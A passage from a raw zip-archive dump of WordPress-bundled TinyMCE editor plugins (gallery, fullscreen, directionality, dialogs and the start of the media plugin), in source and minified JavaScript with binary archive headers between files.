	// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...').
	editor.addCommand( 'WP_Gallery', function() {
		editMedia( editor.selection.getNode() );
	});

	editor.on( 'mouseup', function( event ) {
		var dom = editor.dom,
			node = event.target;

		function unselect() {
			dom.removeClass( dom.select( 'img.wp-media-selected' ), 'wp-media-selected' );
		}

		if ( node.nodeName === 'IMG' && dom.getAttrib( node, 'data-wp-media' ) ) {
			// Don't trigger on right-click.
			if ( event.button !== 2 ) {
				if ( dom.hasClass( node, 'wp-media-selected' ) ) {
					editMedia( node );
				} else {
					unselect();
					dom.addClass( node, 'wp-media-selected' );
				}
			}
		} else {
			unselect();
		}
	});

	// Display gallery, audio or video instead of img in the element path.
	editor.on( 'ResolveName', function( event ) {
		var dom = editor.dom,
			node = event.target;

		if ( node.nodeName === 'IMG' && dom.getAttrib( node, 'data-wp-media' ) ) {
			if ( dom.hasClass( node, 'wp-gallery' ) ) {
				event.name = 'gallery';
			}
		}
	});

	editor.on( 'BeforeSetContent', function( event ) {
		// 'wpview' handles the gallery shortcode when present.
		if ( ! editor.plugins.wpview || typeof wp === 'undefined' || ! wp.mce ) {
			event.content = replaceGalleryShortcodes( event.content );
		}
	});

	editor.on( 'PostProcess', function( event ) {
		if ( event.get ) {
			event.content = restoreMediaShortcodes( event.content );
		}
	});
});
PK�\d[7֦aWWwpgallery/plugin.min.jsnu�[���tinymce.PluginManager.add("wpgallery",function(d){function t(e){return e.replace(/\[gallery([^\]]*)\]/g,function(e){return t="wp-gallery",n=e,n=window.encodeURIComponent(e),'<img src="'+tinymce.Env.transparentSrc+'" class="wp-media mceItem '+t+'" data-wp-media="'+n+'" data-mce-resize="false" data-mce-placeholder="1" alt="" />';var t,n})}function n(e){return e.replace(/(?:<p(?: [^>]+)?>)*(<img [^>]+>)(?:<\/p>)*/g,function(e,t){t=t,n="data-wp-media";var n,t=(n=new RegExp(n+'="([^"]+)"').exec(t))?window.decodeURIComponent(n[1]):"";return t?"<p>"+t+"</p>":e})}function o(t){var n,a,e;"IMG"===t.nodeName&&"undefined"!=typeof wp&&wp.media&&(e=window.decodeURIComponent(d.dom.getAttrib(t,"data-wp-media")),d.dom.hasClass(t,"wp-gallery"))&&wp.media.gallery&&(n=wp.media.gallery,(a=n.edit(e)).state("gallery-edit").on("update",function(e){e=n.shortcode(e).string();d.dom.setAttrib(t,"data-wp-media",window.encodeURIComponent(e)),a.detach()}))}d.addCommand("WP_Gallery",function(){o(d.selection.getNode())}),d.on("mouseup",function(e){var t=d.dom,n=e.target;function a(){t.removeClass(t.select("img.wp-media-selected"),"wp-media-selected")}"IMG"===n.nodeName&&t.getAttrib(n,"data-wp-media")?2!==e.button&&(t.hasClass(n,"wp-media-selected")?o(n):(a(),t.addClass(n,"wp-media-selected"))):a()}),d.on("ResolveName",function(e){var t=d.dom,n=e.target;"IMG"===n.nodeName&&t.getAttrib(n,"data-wp-media")&&t.hasClass(n,"wp-gallery")&&(e.name="gallery")}),d.on("BeforeSetContent",function(e){d.plugins.wpview&&"undefined"!=typeof wp&&wp.mce||(e.content=t(e.content))}),d.on("PostProcess",function(e){e.get&&(e.content=n(e.content))})});PK�\d[����fullscreen/plugin.jsnu�[���(function () {
var fullscreen = (function (domGlobals) {
    'use strict';

    var Cell = function (initial) {
      var value = initial;
      var get = function () {
        return value;
      };
      var set = function (v) {
        value = v;
      };
      var clone = function () {
        return Cell(get());
      };
      return {
        get: get,
        set: set,
        clone: clone
      };
    };

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var get = function (fullscreenState) {
      return {
        isFullscreen: function () {
          return fullscreenState.get() !== null;
        }
      };
    };
    var Api = { get: get };

    var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var fireFullscreenStateChanged = function (editor, state) {
      editor.fire('FullscreenStateChanged', { state: state });
    };
    var Events = { fireFullscreenStateChanged: fireFullscreenStateChanged };

    var DOM = global$1.DOM;
    var getWindowSize = function () {
      var w;
      var h;
      var win = domGlobals.window;
      var doc = domGlobals.document;
      var body = doc.body;
      if (body.offsetWidth) {
        w = body.offsetWidth;
        h = body.offsetHeight;
      }
      if (win.innerWidth && win.innerHeight) {
        w = win.innerWidth;
        h = win.innerHeight;
      }
      return {
        w: w,
        h: h
      };
    };
    var getScrollPos = function () {
      var vp = DOM.getViewPort();
      return {
        x: vp.x,
        y: vp.y
      };
    };
    var setScrollPos = function (pos) {
      domGlobals.window.scrollTo(pos.x, pos.y);
    };
    var toggleFullscreen = function (editor, fullscreenState) {
      var body = domGlobals.document.body;
      var documentElement = domGlobals.document.documentElement;
      var editorContainerStyle;
      var editorContainer, iframe, iframeStyle;
      var fullscreenInfo = fullscreenState.get();
      var resize = function () {
        DOM.setStyle(iframe, 'height', getWindowSize().h - (editorContainer.clientHeight - iframe.clientHeight));
      };
      var removeResize = function () {
        DOM.unbind(domGlobals.window, 'resize', resize);
      };
      editorContainer = editor.getContainer();
      editorContainerStyle = editorContainer.style;
      iframe = editor.getContentAreaContainer().firstChild;
      iframeStyle = iframe.style;
      if (!fullscreenInfo) {
        var newFullScreenInfo = {
          scrollPos: getScrollPos(),
          containerWidth: editorContainerStyle.width,
          containerHeight: editorContainerStyle.height,
          iframeWidth: iframeStyle.width,
          iframeHeight: iframeStyle.height,
          resizeHandler: resize,
          removeHandler: removeResize
        };
        iframeStyle.width = iframeStyle.height = '100%';
        editorContainerStyle.width = editorContainerStyle.height = '';
        DOM.addClass(body, 'mce-fullscreen');
        DOM.addClass(documentElement, 'mce-fullscreen');
        DOM.addClass(editorContainer, 'mce-fullscreen');
        DOM.bind(domGlobals.window, 'resize', resize);
        editor.on('remove', removeResize);
        resize();
        fullscreenState.set(newFullScreenInfo);
        Events.fireFullscreenStateChanged(editor, true);
      } else {
        iframeStyle.width = fullscreenInfo.iframeWidth;
        iframeStyle.height = fullscreenInfo.iframeHeight;
        if (fullscreenInfo.containerWidth) {
          editorContainerStyle.width = fullscreenInfo.containerWidth;
        }
        if (fullscreenInfo.containerHeight) {
          editorContainerStyle.height = fullscreenInfo.containerHeight;
        }
        DOM.removeClass(body, 'mce-fullscreen');
        DOM.removeClass(documentElement, 'mce-fullscreen');
        DOM.removeClass(editorContainer, 'mce-fullscreen');
        setScrollPos(fullscreenInfo.scrollPos);
        DOM.unbind(domGlobals.window, 'resize', fullscreenInfo.resizeHandler);
        editor.off('remove', fullscreenInfo.removeHandler);
        fullscreenState.set(null);
        Events.fireFullscreenStateChanged(editor, false);
      }
    };
    var Actions = { toggleFullscreen: toggleFullscreen };

    var register = function (editor, fullscreenState) {
      editor.addCommand('mceFullScreen', function () {
        Actions.toggleFullscreen(editor, fullscreenState);
      });
    };
    var Commands = { register: register };

    var postRender = function (editor) {
      return function (e) {
        var ctrl = e.control;
        editor.on('FullscreenStateChanged', function (e) {
          ctrl.active(e.state);
        });
      };
    };
    var register$1 = function (editor) {
      editor.addMenuItem('fullscreen', {
        text: 'Fullscreen',
        shortcut: 'Ctrl+Shift+F',
        selectable: true,
        cmd: 'mceFullScreen',
        onPostRender: postRender(editor),
        context: 'view'
      });
      editor.addButton('fullscreen', {
        active: false,
        tooltip: 'Fullscreen',
        cmd: 'mceFullScreen',
        onPostRender: postRender(editor)
      });
    };
    var Buttons = { register: register$1 };

    global.add('fullscreen', function (editor) {
      var fullscreenState = Cell(null);
      if (editor.settings.inline) {
        return Api.get(fullscreenState);
      }
      Commands.register(editor, fullscreenState);
      Buttons.register(editor);
      editor.addShortcut('Ctrl+Shift+F', '', 'mceFullScreen');
      return Api.get(fullscreenState);
    });
    function Plugin () {
    }

    return Plugin;

}(window));
})();
PK�\d[��F��fullscreen/plugin.min.jsnu�[���!function(m){"use strict";var i=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return i(t())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(e){return{isFullscreen:function(){return null!==e.get()}}},n=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),g=function(e,n){e.fire("FullscreenStateChanged",{state:n})},w=n.DOM,r=function(e,n){var t,r,l,i,o,c,s=m.document.body,u=m.document.documentElement,d=n.get(),a=function(){var e,n,t,i;w.setStyle(l,"height",(t=m.window,i=m.document.body,i.offsetWidth&&(e=i.offsetWidth,n=i.offsetHeight),t.innerWidth&&t.innerHeight&&(e=t.innerWidth,n=t.innerHeight),{w:e,h:n}).h-(r.clientHeight-l.clientHeight))},h=function(){w.unbind(m.window,"resize",a)};if(t=(r=e.getContainer()).style,i=(l=e.getContentAreaContainer().firstChild).style,d)i.width=d.iframeWidth,i.height=d.iframeHeight,d.containerWidth&&(t.width=d.containerWidth),d.containerHeight&&(t.height=d.containerHeight),w.removeClass(s,"mce-fullscreen"),w.removeClass(u,"mce-fullscreen"),w.removeClass(r,"mce-fullscreen"),o=d.scrollPos,m.window.scrollTo(o.x,o.y),w.unbind(m.window,"resize",d.resizeHandler),e.off("remove",d.removeHandler),n.set(null),g(e,!1);else{var f={scrollPos:(c=w.getViewPort(),{x:c.x,y:c.y}),containerWidth:t.width,containerHeight:t.height,iframeWidth:i.width,iframeHeight:i.height,resizeHandler:a,removeHandler:h};i.width=i.height="100%",t.width=t.height="",w.addClass(s,"mce-fullscreen"),w.addClass(u,"mce-fullscreen"),w.addClass(r,"mce-fullscreen"),w.bind(m.window,"resize",a),e.on("remove",h),a(),n.set(f),g(e,!0)}},l=function(e,n){e.addCommand("mceFullScreen",function(){r(e,n)})},o=function(t){return function(e){var n=e.control;t.on("FullscreenStateChanged",function(e){n.active(e.state)})}},c=function(e){e.addMenuItem("fullscreen",{text:"Fullscreen",shortcut:"Ctrl+Shift+F",selectable:!0,cmd:"mceFullScreen",onPostRender:o(e),context:"view"}),e.addButton("fullscreen",{active:!1,tooltip:"Fullscreen",cmd:"mceFullScreen",onPostRender:o(e)})};e.add("fullscreen",function(e){var n=i(null);return e.settings.inline||(l(e,n),c(e),e.addShortcut("Ctrl+Shift+F","","mceFullScreen")),t(n)})}(window);PK�\d[8H�dddirectionality/plugin.jsnu�[���(function () {
var directionality = (function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var setDir = function (editor, dir) {
      var dom = editor.dom;
      var curDir;
      var blocks = editor.selection.getSelectedBlocks();
      if (blocks.length) {
        curDir = dom.getAttrib(blocks[0], 'dir');
        global$1.each(blocks, function (block) {
          if (!dom.getParent(block.parentNode, '*[dir="' + dir + '"]', dom.getRoot())) {
            dom.setAttrib(block, 'dir', curDir !== dir ? dir : null);
          }
        });
        editor.nodeChanged();
      }
    };
    var Direction = { setDir: setDir };

    var register = function (editor) {
      editor.addCommand('mceDirectionLTR', function () {
        Direction.setDir(editor, 'ltr');
      });
      editor.addCommand('mceDirectionRTL', function () {
        Direction.setDir(editor, 'rtl');
      });
    };
    var Commands = { register: register };

    var generateSelector = function (dir) {
      var selector = [];
      global$1.each('h1 h2 h3 h4 h5 h6 div p'.split(' '), function (name) {
        selector.push(name + '[dir=' + dir + ']');
      });
      return selector.join(',');
    };
    var register$1 = function (editor) {
      editor.addButton('ltr', {
        title: 'Left to right',
        cmd: 'mceDirectionLTR',
        stateSelector: generateSelector('ltr')
      });
      editor.addButton('rtl', {
        title: 'Right to left',
        cmd: 'mceDirectionRTL',
        stateSelector: generateSelector('rtl')
      });
    };
    var Buttons = { register: register$1 };

    global.add('directionality', function (editor) {
      Commands.register(editor);
      Buttons.register(editor);
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
PK�\d[����YYdirectionality/plugin.min.jsnu�[���!function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),c=tinymce.util.Tools.resolve("tinymce.util.Tools"),e=function(t,e){var i,n=t.dom,o=t.selection.getSelectedBlocks();o.length&&(i=n.getAttrib(o[0],"dir"),c.each(o,function(t){n.getParent(t.parentNode,'*[dir="'+e+'"]',n.getRoot())||n.setAttrib(t,"dir",i!==e?e:null)}),t.nodeChanged())},i=function(t){t.addCommand("mceDirectionLTR",function(){e(t,"ltr")}),t.addCommand("mceDirectionRTL",function(){e(t,"rtl")})},n=function(e){var i=[];return c.each("h1 h2 h3 h4 h5 h6 div p".split(" "),function(t){i.push(t+"[dir="+e+"]")}),i.join(",")},o=function(t){t.addButton("ltr",{title:"Left to right",cmd:"mceDirectionLTR",stateSelector:n("ltr")}),t.addButton("rtl",{title:"Right to left",cmd:"mceDirectionRTL",stateSelector:n("rtl")})};t.add("directionality",function(t){i(t),o(t)})}();PK�\d[�Ќy�	�	wpdialogs/plugin.jsnu�[���/* global tinymce */
/**
 * Included for back-compat.
 * The default WindowManager in TinyMCE 4.0 supports three types of dialogs:
 *	- With HTML created from JS.
 *	- With inline HTML (like WPWindowManager).
 *	- Old type iframe based dialogs.
 * For examples see the default plugins: https://github.com/tinymce/tinymce/tree/master/js/tinymce/plugins
 */
tinymce.WPWindowManager = tinymce.InlineWindowManager = function( editor ) {
	if ( this.wp ) {
		return this;
	}

	this.wp = {};
	this.parent = editor.windowManager;
	this.editor = editor;

	tinymce.extend( this, this.parent );

	this.open = function( args, params ) {
		var $element,
			self = this,
			wp = this.wp;

		if ( ! args.wpDialog ) {
			return this.parent.open.apply( this, arguments );
		} else if ( ! args.id ) {
			return;
		}

		if ( typeof jQuery === 'undefined' || ! jQuery.wp || ! jQuery.wp.wpdialog ) {
			// wpdialog.js is not loaded.
			if ( window.console && window.console.error ) {
				window.console.error('wpdialog.js is not loaded. Please set "wpdialogs" as dependency for your script when calling wp_enqueue_script(). You may also want to enqueue the "wp-jquery-ui-dialog" stylesheet.');
			}

			return;
		}

		wp.$element = $element = jQuery( '#' + args.id );

		if ( ! $element.length ) {
			return;
		}

		if ( window.console && window.console.log ) {
			window.console.log('tinymce.WPWindowManager is deprecated. Use the default editor.windowManager to open dialogs with inline HTML.');
		}

		wp.features = args;
		wp.params = params;

		// Store selection. Takes a snapshot in the FocusManager of the selection before focus is moved to the dialog.
		editor.nodeChanged();

		// Create the dialog if necessary.
		if ( ! $element.data('wpdialog') ) {
			$element.wpdialog({
				title: args.title,
				width: args.width,
				height: args.height,
				modal: true,
				dialogClass: 'wp-dialog',
				zIndex: 300000
			});
		}

		$element.wpdialog('open');

		$element.on( 'wpdialogclose', function() {
			if ( self.wp.$element ) {
				self.wp = {};
			}
		});
	};

	this.close = function() {
		if ( ! this.wp.features || ! this.wp.features.wpDialog ) {
			return this.parent.close.apply( this, arguments );
		}

		this.wp.$element.wpdialog('close');
	};
};

tinymce.PluginManager.add( 'wpdialogs', function( editor ) {
	// Replace window manager.
	editor.on( 'init', function() {
		editor.windowManager = new tinymce.WPWindowManager( editor );
	});
});
PK�\d[r�f**wpdialogs/plugin.min.jsnu�[���tinymce.WPWindowManager=tinymce.InlineWindowManager=function(a){if(this.wp)return this;this.wp={},this.parent=a.windowManager,this.editor=a,tinymce.extend(this,this.parent),this.open=function(e,i){var n,o=this,t=this.wp;if(!e.wpDialog)return this.parent.open.apply(this,arguments);e.id&&("undefined"!=typeof jQuery&&jQuery.wp&&jQuery.wp.wpdialog?(t.$element=n=jQuery("#"+e.id),n.length&&(window.console&&window.console.log&&window.console.log("tinymce.WPWindowManager is deprecated. Use the default editor.windowManager to open dialogs with inline HTML."),t.features=e,t.params=i,a.nodeChanged(),n.data("wpdialog")||n.wpdialog({title:e.title,width:e.width,height:e.height,modal:!0,dialogClass:"wp-dialog",zIndex:3e5}),n.wpdialog("open"),n.on("wpdialogclose",function(){o.wp.$element&&(o.wp={})}))):window.console&&window.console.error&&window.console.error('wpdialog.js is not loaded. Please set "wpdialogs" as dependency for your script when calling wp_enqueue_script(). You may also want to enqueue the "wp-jquery-ui-dialog" stylesheet.'))},this.close=function(){if(!this.wp.features||!this.wp.features.wpDialog)return this.parent.close.apply(this,arguments);this.wp.$element.wpdialog("close")}},tinymce.PluginManager.add("wpdialogs",function(e){e.on("init",function(){e.windowManager=new tinymce.WPWindowManager(e)})});PK�\d[+��z�z�media/plugin.jsnu�[���(function () {
var media = (function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.Env');

    var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var getScripts = function (editor) {
      return editor.getParam('media_scripts');
    };
    var getAudioTemplateCallback = function (editor) {
      return editor.getParam('audio_template_callback');
    };
    var getVideoTemplateCallback = function (editor) {
      return editor.getParam('video_template_callback');
    };
    var hasLiveEmbeds = function (editor) {
      return editor.getParam('media_live_embeds', true);
    };
    var shouldFilterHtml = function (editor) {
      return editor.getParam('media_filter_html', true);
    };
    var getUrlResolver = function (editor) {
      return editor.getParam('media_url_resolver');
    };
    var hasAltSource = function (editor) {
      return editor.getParam('media_alt_source', true);
    };
    var hasPoster = function (editor) {
      return editor.getParam('media_poster', true);
    };
    var hasDimensions = function (editor) {
      return editor.getParam('media_dimensions', true);
    };
    var Settings = {
      getScripts: getScripts,
      getAudioTemplateCallback: getAudioTemplateCallback,
      getVideoTemplateCallback: getVideoTemplateCallback,
      hasLiveEmbeds: hasLiveEmbeds,
      shouldFilterHtml: shouldFilterHtml,
      getUrlResolver: getUrlResolver,
      hasAltSource: hasAltSource,
      hasPoster: hasPoster,
      hasDimensions: hasDimensions
    };

    var Cell = function (initial) {
      var value = initial;
      var get = function () {
        return value;
      };
      var set = function (v) {
        value = v;
      };
      var clone = function () {
        return Cell(get());
      };
      return {
        get: get,
        set: set,
        clone: clone
      };
    };

    var noop = function () {
    };
    var constant = function (value) {
      return function () {
        return value;
      };
    };
    var never = constant(false);
    var always = constant(true);

    var none = function () {
      return NONE;
    };
    var NONE = function () {
      var eq = function (o) {
        return o.isNone();
      };
      var call = function (thunk) {
        return thunk();
      };
      var id = function (n) {
        return n;
      };
      var me = {
        fold: function (n, s) {
          return n();
        },
        is: never,
        isSome: never,
        isNone: always,
        getOr: id,
        getOrThunk: call,
        getOrDie: function (msg) {
          throw new Error(msg || 'error: getOrDie called on none.');
        },
        getOrNull: constant(null),
        getOrUndefined: constant(undefined),
        or: id,
        orThunk: call,
        map: none,
        each: noop,
        bind: none,
        exists: never,
        forall: always,
        filter: none,
        equals: eq,
        equals_: eq,
        toArray: function () {
          return [];
        },
        toString: constant('none()')
      };
      if (Object.freeze) {
        Object.freeze(me);
      }
      return me;
    }();
    var some = function (a) {
      var constant_a = constant(a);
      var self = function () {
        return me;
      };
      var bind = function (f) {
        return f(a);
      };
      var me = {
        fold: function (n, s) {
          return s(a);
        },
        is: function (v) {
          return a === v;
        },
        isSome: always,
        isNone: never,
        getOr: constant_a,
        getOrThunk: constant_a,
        getOrDie: constant_a,
        getOrNull: constant_a,
        getOrUndefined: constant_a,
        or: self,
        orThunk: self,
        map: function (f) {
          return some(f(a));
        },
        each: function (f) {
          f(a);
        },
        bind: bind,
        exists: bind,
        forall: bind,
        filter: function (f) {
          return f(a) ? me : NONE;
        },
        toArray: function () {
          return [a];
        },
        toString: function () {
          return 'some(' + a + ')';
        },
        equals: function (o) {
          return o.is(a);
        },
        equals_: function (o, elementEq) {
          return o.fold(never, function (b) {
            return elementEq(a, b);
          });
        }
      };
      return me;
    };
    var from = function (value) {
      return value === null || value === undefined ? NONE : some(value);
    };
    var Option = {
      some: some,
      none: none,
      from: from
    };

    var hasOwnProperty = Object.hasOwnProperty;
    var get = function (obj, key) {
      return has(obj, key) ? Option.from(obj[key]) : Option.none();
    };
    var has = function (obj, key) {
      return hasOwnProperty.call(obj, key);
    };

    var global$3 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$4 = tinymce.util.Tools.resolve('tinymce.html.SaxParser');

    var getVideoScriptMatch = function (prefixes, src) {
      if (prefixes) {
        for (var i = 0; i < prefixes.length; i++) {
          if (src.indexOf(prefixes[i].filter) !== -1) {
            return prefixes[i];
          }
        }
      }
    };
    var VideoScript = { getVideoScriptMatch: getVideoScriptMatch };

    var DOM = global$3.DOM;
    var trimPx = function (value) {
      return value.replace(/px$/, '');
    };
    var getEphoxEmbedData = function (attrs) {
      var style = attrs.map.style;
      var styles = style ? DOM.parseStyle(style) : {};
      return {
        type: 'ephox-embed-iri',
        source1: attrs.map['data-ephox-embed-iri'],
        source2: '',
        poster: '',
        width: get(styles, 'max-width').map(trimPx).getOr(''),
        height: get(styles, 'max-height').map(trimPx).getOr('')
      };
    };
    var htmlToData = function (prefixes, html) {
      var isEphoxEmbed = Cell(false);
      var data = {};
      global$4({
        validate: false,
        allow_conditional_comments: true,
        special: 'script,noscript',
        start: function (name, attrs) {
          if (isEphoxEmbed.get()) ; else if (has(attrs.map, 'data-ephox-embed-iri')) {
            isEphoxEmbed.set(true);
            data = getEphoxEmbedData(attrs);
          } else {
            if (!data.source1 && name === 'param') {
              data.source1 = attrs.map.movie;
            }
            if (name === 'iframe' || name === 'object' || name === 'embed' || name === 'video' || name === 'audio') {
              if (!data.type) {
                data.type = name;
              }
              data = global$2.extend(attrs.map, data);
            }
            if (name === 'script') {
              var videoScript = VideoScript.getVideoScriptMatch(prefixes, attrs.map.src);
              if (!videoScript) {
                return;
              }
              data = {
                type: 'script',
                source1: attrs.map.src,
                width: videoScript.width,
                height: videoScript.height
              };
            }
            if (name === 'source') {
              if (!data.source1) {
                data.source1 = attrs.map.src;
              } else if (!data.source2) {
                data.source2 = attrs.map.src;
              }
            }
            if (name === 'img' && !data.poster) {
              data.poster = attrs.map.src;
            }
          }
        }
      }).parse(html);
      data.source1 = data.source1 || data.src || data.data;
      data.source2 = data.source2 || '';
      data.poster = data.poster || '';
      return data;
    };
    var HtmlToData = { htmlToData: htmlToData };

    var global$5 = tinymce.util.Tools.resolve('tinymce.util.Promise');

    var guess = function (url) {
      var mimes = {
        mp3: 'audio/mpeg',
        wav: 'audio/wav',
        mp4: 'video/mp4',
        webm: 'video/webm',
        ogg: 'video/ogg',
        swf: 'application/x-shockwave-flash'
      };
      var fileEnd = url.toLowerCase().split('.').pop();
      var mime = mimes[fileEnd];
      return mime ? mime : '';
    };
    var Mime = { guess: guess };

    var global$6 = tinymce.util.Tools.resolve('tinymce.html.Schema');

    var global$7 = tinymce.util.Tools.resolve('tinymce.html.Writer');

    var DOM$1 = global$3.DOM;
    var addPx = function (value) {
      return /^[0-9.]+$/.test(value) ? value + 'px' : value;
    };
    var setAttributes = function (attrs, updatedAttrs) {
      for (var name in updatedAttrs) {
        var value = '' + updatedAttrs[name];
        if (attrs.map[name]) {
          var i = attrs.length;
          while (i--) {
            var attr = attrs[i];
            if (attr.name === name) {
              if (value) {
                attrs.map[name] = value;
                attr.value = value;
              } else {
                delete attrs.map[name];
                attrs.splice(i, 1);
              }
            }
          }
        } else if (value) {
          attrs.push({
            name: name,
            value: value
          });
          attrs.map[name] = value;
        }
      }
    };
    var updateEphoxEmbed = function (data, attrs) {
      var style = attrs.map.style;
      var styleMap = style ? DOM$1.parseStyle(style) : {};
      styleMap['max-width'] = addPx(data.width);
      styleMap['max-height'] = addPx(data.height);
      setAttributes(attrs, { style: DOM$1.serializeStyle(styleMap) });
    };
    var updateHtml = function (html, data, updateAll) {
      var writer = global$7();
      var isEphoxEmbed = Cell(false);
      var sourceCount = 0;
      var hasImage;
      global$4({
        validate: false,
        allow_conditional_comments: true,
        special: 'script,noscript',
        comment: function (text) {
          writer.comment(text);
        },
        cdata: function (text) {
          writer.cdata(text);
        },
        text: function (text, raw) {
          writer.text(text, raw);
        },
        start: function (name, attrs, empty) {
          if (isEphoxEmbed.get()) ; else if (has(attrs.map, 'data-ephox-embed-iri')) {
            isEphoxEmbed.set(true);
            updateEphoxEmbed(data, attrs);
          } else {
            switch (name) {
            case 'video':
            case 'object':
            case 'embed':
            case 'img':
            case 'iframe':
              if (data.height !== undefined && data.width !== undefined) {
                setAttributes(attrs, {
                  width: data.width,
                  height: data.height
                });
              }
              break;
            }
            if (updateAll) {
              switch (name) {
              case 'video':
                setAttributes(attrs, {
                  poster: data.poster,
                  src: ''
                });
                if (data.source2) {
                  setAttributes(attrs, { src: '' });
                }
                break;
              case 'iframe':
                setAttributes(attrs, { src: data.source1 });
                break;
              case 'source':
                sourceCount++;
                if (sourceCount <= 2) {
                  setAttributes(attrs, {
                    src: data['source' + sourceCount],
                    type: data['source' + sourceCount + 'mime']
                  });
                  if (!data['source' + sourceCount]) {
                    return;
                  }
                }
                break;
              case 'img':
                if (!data.poster) {
                  return;
                }
                hasImage = true;
                break;
              }
            }
          }
          writer.start(name, attrs, empty);
        },
        end: function (name) {
          if (!isEphoxEmbed.get()) {
            if (name === 'video' && updateAll) {
              for (var index = 1; index <= 2; index++) {
                if (data['source' + index]) {
                  var attrs = [];
                  attrs.map = {};
                  if (sourceCount < index) {
                    setAttributes(attrs, {
                      src: data['source' + index],
                      type: data['source' + index + 'mime']
                    });
                    writer.start('source', attrs, true);
                  }
                }
              }
            }
            if (data.poster && name === 'object' && updateAll && !hasImage) {
              var imgAttrs = [];
              imgAttrs.map = {};
              setAttributes(imgAttrs, {
                src: data.poster,
                width: data.width,
                height: data.height
              });
              writer.start('img', imgAttrs, true);
            }
          }
          writer.end(name);
        }
      }, global$6({})).parse(html);
      return writer.getContent();
    };
    var UpdateHtml = { updateHtml: updateHtml };

    var urlPatterns = [
      {
        regex: /youtu\.be\/([\w\-_\?&=.]+)/i,
        type: 'iframe',
        w: 560,
        h: 314,
        url: '//www.youtube.com/embed/$1',
        allowFullscreen: true
      },
      {
        regex: /youtube\.com(.+)v=([^&]+)(&([a-z0-9&=\-_]+))?/i,
        type: 'iframe',
        w: 560,
        h: 314,
        url: '//www.youtube.com/embed/$2?$4',
        allowFullscreen: true
      },
      {
        regex: /youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i,
        type: 'iframe',
        w: 560,
        h: 314,
        url: '//www.youtube.com/embed/$1',
        allowFullscreen: true
      },
      {
        regex: /vimeo\.com\/([0-9]+)/,
        type: 'iframe',
        w: 425,
        h: 350,
        url: '//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc',
        allowFullscreen: true
      },
      {
        regex: /vimeo\.com\/(.*)\/([0-9]+)/,
        type: 'iframe',
        w: 425,
        h: 350,
        url: '//player.vimeo.com/video/$2?title=0&amp;byline=0',
        allowFullscreen: true
      },
      {
        regex: /maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,
        type: 'iframe',
        w: 425,
        h: 350,
        url: '//maps.google.com/maps/ms?msid=$2&output=embed"',
        allowFullscreen: false
      },
      {
        regex: /dailymotion\.com\/video\/([^_]+)/,
        type: 'iframe',
        w: 480,
        h: 270,
        url: '//www.dailymotion.com/embed/video/$1',
        allowFullscreen: true
      },
      {
        regex: /dai\.ly\/([^_]+)/,
        type: 'iframe',
        w: 480,
        h: 270,
        url: '//www.dailymotion.com/embed/video/$1',
        allowFullscreen: true
      }
    ];
    var getUrl = function (pattern, url) {
      var match = pattern.regex.exec(url);
      var newUrl = pattern.url;
      var _loop_1 = function (i) {
        newUrl = newUrl.replace('$' + i, function () {
          return match[i] ? match[i] : '';
        });
      };
      for (var i = 0; i < match.length; i++) {
        _loop_1(i);
      }
      return newUrl.replace(/\?$/, '');
    };
    var matchPattern = function (url) {
      var pattern = urlPatterns.filter(function (pattern) {
        return pattern.regex.test(url);
      });
      if (pattern.length > 0) {
        return global$2.extend({}, pattern[0], { url: getUrl(pattern[0], url) });
      } else {
        return null;
      }
    };

    var getIframeHtml = function (data) {
      var allowFullscreen = data.allowFullscreen ? ' allowFullscreen="1"' : '';
      return '<iframe src="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '"' + allowFullscreen + '></iframe>';
    };
    var getFlashHtml = function (data) {
      var html = '<object data="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '" type="application/x-shockwave-flash">';
      if (data.poster) {
        html += '<img src="' + data.poster + '" width="' + data.width + '" height="' + data.height + '" />';
      }
      html += '</object>';
      return html;
    };
    var getAudioHtml = function (data, audioTemplateCallback) {
      if (audioTemplateCallback) {
        return audioTemplateCallback(data);
      } else {
        return '<audio controls="controls" src="' + data.source1 + '">' + (data.source2 ? '\n<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') + '</audio>';
      }
    };
    var getVideoHtml = function (data, videoTemplateCallback) {
      if (videoTemplateCallback) {
        return videoTemplateCallback(data);
      } else {
        return '<video width="' + data.width + '" height="' + data.height + '"' + (data.poster ? ' poster="' + data.poster + '"' : '') + ' controls="controls">\n' + '<source src="' + data.source1 + '"' + (data.source1mime ? ' type="' + data.source1mime + '"' : '') + ' />\n' + (data.source2 ? '<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') + '</video>';
      }
    };
    var getScriptHtml = function (data) {
      return '<script src="' + data.source1 + '"></script>';
    };
    var dataToHtml = function (editor, dataIn) {
      var data = global$2.extend({}, dataIn);
      if (!data.source1) {
        global$2.extend(data, HtmlToData.htmlToData(Settings.getScripts(editor), data.embed));
        if (!data.source1) {
          return '';
        }
      }
      if (!data.source2) {
        data.source2 = '';
      }
      if (!data.poster) {
        data.poster = '';
      }
      data.source1 = editor.convertURL(data.source1, 'source');
      data.source2 = editor.convertURL(data.source2, 'source');
      data.source1mime = Mime.guess(data.source1);
      data.source2mime = Mime.guess(data.source2);
      data.poster = editor.convertURL(data.poster, 'poster');
      var pattern = matchPattern(data.source1);
      if (pattern) {
        data.source1 = pattern.url;
        data.type = pattern.type;
        data.allowFullscreen = pattern.allowFullscreen;
        data.width = data.width || pattern.w;
        data.height = data.height || pattern.h;
      }
      if (data.embed) {
